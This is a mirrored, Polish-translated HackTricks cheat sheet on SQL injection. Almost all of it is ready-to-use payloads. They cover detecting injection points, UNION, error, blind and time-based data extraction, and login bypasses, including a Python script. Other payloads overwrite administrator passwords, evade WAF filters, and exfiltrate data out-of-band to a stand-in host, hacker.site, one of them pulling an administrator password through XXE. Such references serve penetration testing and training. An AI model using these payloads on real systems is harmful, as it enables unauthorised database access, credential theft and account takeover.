mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-26 11:55:06 +00:00
526 lines
29 KiB
Markdown
526 lines
29 KiB
Markdown
# SQL Injection
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Co to jest SQL injection?
|
||
|
||
**SQL injection** to luka w zabezpieczeniach, która pozwala atakującym na **ingerencję w zapytania do bazy danych** aplikacji. Ta podatność może umożliwić atakującym **wyświetlanie**, **modyfikowanie** lub **usuwanie** danych, do których nie powinni mieć dostępu, w tym informacji o innych użytkownikach lub jakichkolwiek danych, do których aplikacja ma dostęp. Takie działania mogą prowadzić do trwałych zmian w funkcjonalności lub treści aplikacji, a nawet do kompromitacji serwera lub odmowy usługi.
|
||
|
||
## Wykrywanie punktu wejścia
|
||
|
||
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzykiwać dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Następnie musisz wiedzieć, jak **naprawić zapytanie, aby nie było błędów**. Aby naprawić zapytanie, możesz **wprowadzić** dane, aby **poprzednie zapytanie zaakceptowało nowe dane**, lub możesz po prostu **wprowadzić** swoje dane i **dodać symbol komentarza na końcu**.
|
||
|
||
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
|
||
|
||
### **Komentarze**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Potwierdzanie za pomocą operacji logicznych
|
||
|
||
Wiarygodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład, parametr GET taki jak `?username=Peter`, który daje identyczną zawartość po modyfikacji na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
|
||
|
||
Podobnie, zastosowanie **operacji matematycznych** służy jako skuteczna technika potwierdzająca. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` daje ten sam wynik, to wskazuje na SQL injection.
|
||
|
||
Przykłady ilustrujące potwierdzenie operacji logicznej:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections** w zaproponowany sposób:
|
||
|
||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||
|
||
### Potwierdzanie z użyciem czasu
|
||
|
||
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **odkrycie ślepych SQL injections** jest zmuszenie bazy danych do wykonania działań, co będzie miało **wpływ na czas**, jaki potrzebuje strona na załadowanie.\
|
||
Dlatego w zapytaniu SQL dodamy operację, która zajmie dużo czasu na zakończenie:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli takie istnieją)_.
|
||
|
||
### Identyfikacja Back-endu
|
||
|
||
Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć _**funkcji sleep**_ z poprzedniej sekcji lub tych (tabela z [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Również, jeśli masz dostęp do wyniku zapytania, możesz **wydrukować wersję bazy danych**.
|
||
|
||
{% hint style="info" %}
|
||
W kontynuacji omówimy różne metody wykorzystania różnych rodzajów SQL Injection. Użyjemy MySQL jako przykładu.
|
||
{% endhint %}
|
||
|
||
### Identyfikacja z PortSwigger
|
||
|
||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||
|
||
## Wykorzystywanie oparte na Union
|
||
|
||
### Wykrywanie liczby kolumn
|
||
|
||
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego wykorzystanie.\
|
||
Przede wszystkim musimy ustalić **liczbę** **kolumn**, które **początkowe zapytanie** zwraca. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
|
||
Do tego celu zazwyczaj stosuje się dwie metody:
|
||
|
||
#### Order/Group by
|
||
|
||
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn w zapytaniu.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Wybierz coraz więcej wartości null, aż zapytanie będzie poprawne:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_You should use `null`values as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case._
|
||
|
||
### Wyciąganie nazw baz danych, nazw tabel i nazw kolumn
|
||
|
||
W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazwę tabeli w bazie danych oraz nazwy kolumn tabeli:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Każda baza danych ma inny sposób odkrywania tych danych, ale metodologia zawsze jest ta sama._
|
||
|
||
## Wykorzystywanie ukrytej injekcji opartej na unii
|
||
|
||
Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność **ukrytej injekcji opartej na unii**. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w opartą na unii, należy rozpoznać zapytanie wykonawcze na zapleczu.
|
||
|
||
Można to osiągnąć za pomocą technik niewidocznej injekcji w połączeniu z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
|
||
|
||
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnej injekcji opartej na unii.
|
||
|
||
Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z pełnym artykułem dostępnym pod adresem [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Wykorzystywanie opartej na błędach
|
||
|
||
Jeśli z jakiegoś powodu **nie możesz** zobaczyć **wyniku** **zapytania**, ale możesz **widzieć komunikaty o błędach**, możesz wykorzystać te komunikaty o błędach do **ekstrahowania** danych z bazy danych.\
|
||
Podążając podobnym tokiem jak w przypadku wykorzystania opartej na unii, możesz zdołać zrzucić bazę danych.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Wykorzystywanie Blind SQLi
|
||
|
||
W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz **rozróżnić**, kiedy zapytanie **zwraca** odpowiedź **prawda** lub **fałsz**, ponieważ na stronie są różne treści.\
|
||
W tym przypadku możesz wykorzystać to zachowanie, aby zrzucić bazę danych znak po znaku:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Wykorzystywanie Error Blind SQLi
|
||
|
||
To jest **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawda/fałsz z zapytania, możesz **rozróżniać** między **błędem** w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Wykorzystywanie SQLi opartego na czasie
|
||
|
||
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](./#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Stacked Queries
|
||
|
||
Możesz użyć stacked queries, aby **wykonać wiele zapytań z rzędu**. Zauważ, że podczas gdy kolejne zapytania są wykonywane, **wyniki** **nie są zwracane do aplikacji**. Dlatego ta technika jest głównie użyteczna w odniesieniu do **blind vulnerabilities**, gdzie możesz użyć drugiego zapytania do wywołania zapytania DNS, błędu warunkowego lub opóźnienia czasowego.
|
||
|
||
**Oracle** nie obsługuje **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** je obsługują: `QUERY-1-HERE; QUERY-2-HERE`
|
||
|
||
## Out of band Exploitation
|
||
|
||
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych** wyekstrahowała informacje do **zewnętrznego hosta** kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Ekstrakcja danych poza pasmem za pomocą XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Automatyzowane Wykorzystanie
|
||
|
||
Sprawdź [SQLMap Cheatsheet](sqlmap/), aby wykorzystać lukę SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informacje specyficzne dla technologii
|
||
|
||
Omówiliśmy już wszystkie sposoby wykorzystania luki SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:
|
||
|
||
* [MS Access](ms-access-sql-injection.md)
|
||
* [MSSQL](mssql-injection.md)
|
||
* [MySQL](mysql-injection/)
|
||
* [Oracle](oracle-injection.md)
|
||
* [PostgreSQL](postgresql-injection/)
|
||
|
||
Lub znajdziesz **wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Ominięcie uwierzytelniania
|
||
|
||
Lista do próby ominięcia funkcji logowania:
|
||
|
||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Ominięcie uwierzytelniania za pomocą surowego hasha
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Ominięcie uwierzytelniania za pomocą wstrzykniętego hasha
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Zalecana lista**:
|
||
|
||
Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasła zawsze: _**Pass1234.**_\
|
||
&#xNAN;_(Te ładunki są również zawarte w dużej liście wspomnianej na początku tej sekcji)_
|
||
|
||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||
|
||
### GBK Ominięcie uwierzytelniania
|
||
|
||
JEŚLI ' jest escapowane, możesz użyć %A8%27, a gdy ' zostanie escapowane, zostanie utworzone: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Skrypt Pythona:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Wstrzykiwanie poliglotowe (wielokontekstowe)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Insert Statement
|
||
|
||
### Zmiana hasła istniejącego obiektu/użytkownika
|
||
|
||
Aby to zrobić, powinieneś spróbować **utworzyć nowy obiekt o nazwie "obiekt główny"** (prawdopodobnie **admin** w przypadku użytkowników) modyfikując coś:
|
||
|
||
* Utwórz użytkownika o nazwie: **AdMIn** (wielkie i małe litery)
|
||
* Utwórz użytkownika o nazwie: **admin=**
|
||
* **Atak Truncation SQL** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: **admin \[dużo spacji] a**
|
||
|
||
#### Atak Truncation SQL
|
||
|
||
Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30 i chcesz podszyć się pod użytkownika **admin**, spróbuj utworzyć nazwę użytkownika: "_admin \[30 spacji] a_" i dowolne hasło.
|
||
|
||
Baza danych **sprawdzi**, czy wprowadzona **nazwa użytkownika** **istnieje** w bazie danych. Jeśli **nie**, **przetnie** **nazwę użytkownika** do **maksymalnej dozwolonej liczby znaków** (w tym przypadku do: "_admin \[25 spacji]_") i następnie **automatycznie usunie wszystkie spacje na końcu, aktualizując** w bazie danych użytkownika "**admin**" z **nowym hasłem** (może pojawić się jakiś błąd, ale to nie oznacza, że to nie zadziałało).
|
||
|
||
Więcej informacji: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||
|
||
### MySQL Insert time based checking
|
||
|
||
Dodaj tyle `','',''`, ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest wykorzystywana do określenia działań, które baza danych ma podjąć, gdy próba wstawienia wiersza spowoduje duplikat wartości w indeksie UNIQUE lub PRIMARY KEY. Poniższy przykład demonstruje, jak ta funkcja może być wykorzystana do zmiany hasła konta administratora:
|
||
|
||
Example Payload Injection:
|
||
|
||
Ładunek iniekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli `users`. Pierwszy wiersz jest wabikiem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
Here's how it works:
|
||
|
||
* Zapytanie próbuje wstawić dwa wiersze: jeden dla `generic_user@example.com` i drugi dla `admin_generic@example.com`.
|
||
* Jeśli wiersz dla `admin_generic@example.com` już istnieje, klauzula `ON DUPLICATE KEY UPDATE` uruchamia się, instruując MySQL do zaktualizowania pola `password` istniejącego wiersza na "bcrypt\_hash\_of\_newpassword".
|
||
* W konsekwencji, można spróbować uwierzytelnić się za pomocą `admin_generic@example.com` z hasłem odpowiadającym haszowi bcrypt ("bcrypt\_hash\_of\_newpassword" reprezentuje hasz bcrypt nowego hasła, który powinien być zastąpiony rzeczywistym haszem pożądanego hasła).
|
||
|
||
### Extract information
|
||
|
||
#### Creating 2 accounts at the same time
|
||
|
||
Kiedy próbujesz utworzyć nowego użytkownika, potrzebne są nazwa użytkownika, hasło i e-mail:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Używanie dziesiętnego lub szesnastkowego
|
||
|
||
Z tą techniką możesz wyodrębnić informacje, tworząc tylko 1 konto. Ważne jest, aby zauważyć, że nie musisz nic komentować.
|
||
|
||
Używając **hex2dec** i **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
Aby uzyskać tekst, możesz użyć:
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Używając **hex** i **replace** (oraz **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Routed SQL injection
|
||
|
||
Routed SQL injection to sytuacja, w której zapytanie, które można wstrzyknąć, nie jest tym, które daje wynik, ale wynik zapytania, które można wstrzyknąć, trafia do zapytania, które daje wynik. ([Z dokumentu](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Przykład:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## WAF Bypass
|
||
|
||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### Bypass bez spacji
|
||
|
||
No Space (%20) - bypass przy użyciu alternatyw dla białych znaków
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
No Whitespace - obejście za pomocą komentarzy
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
No Whitespace - obejście za pomocą nawiasów
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### Brak przecinków bypass
|
||
|
||
Brak przecinka - bypass przy użyciu OFFSET, FROM i JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Generic Bypasses
|
||
|
||
Czarna lista używająca słów kluczowych - obejście za pomocą wielkich/małych liter
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Blacklist używając słów kluczowych bez uwzględniania wielkości liter - obejście za pomocą operatora równoważnego
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Obejście WAF za pomocą notacji naukowej
|
||
|
||
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu [gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
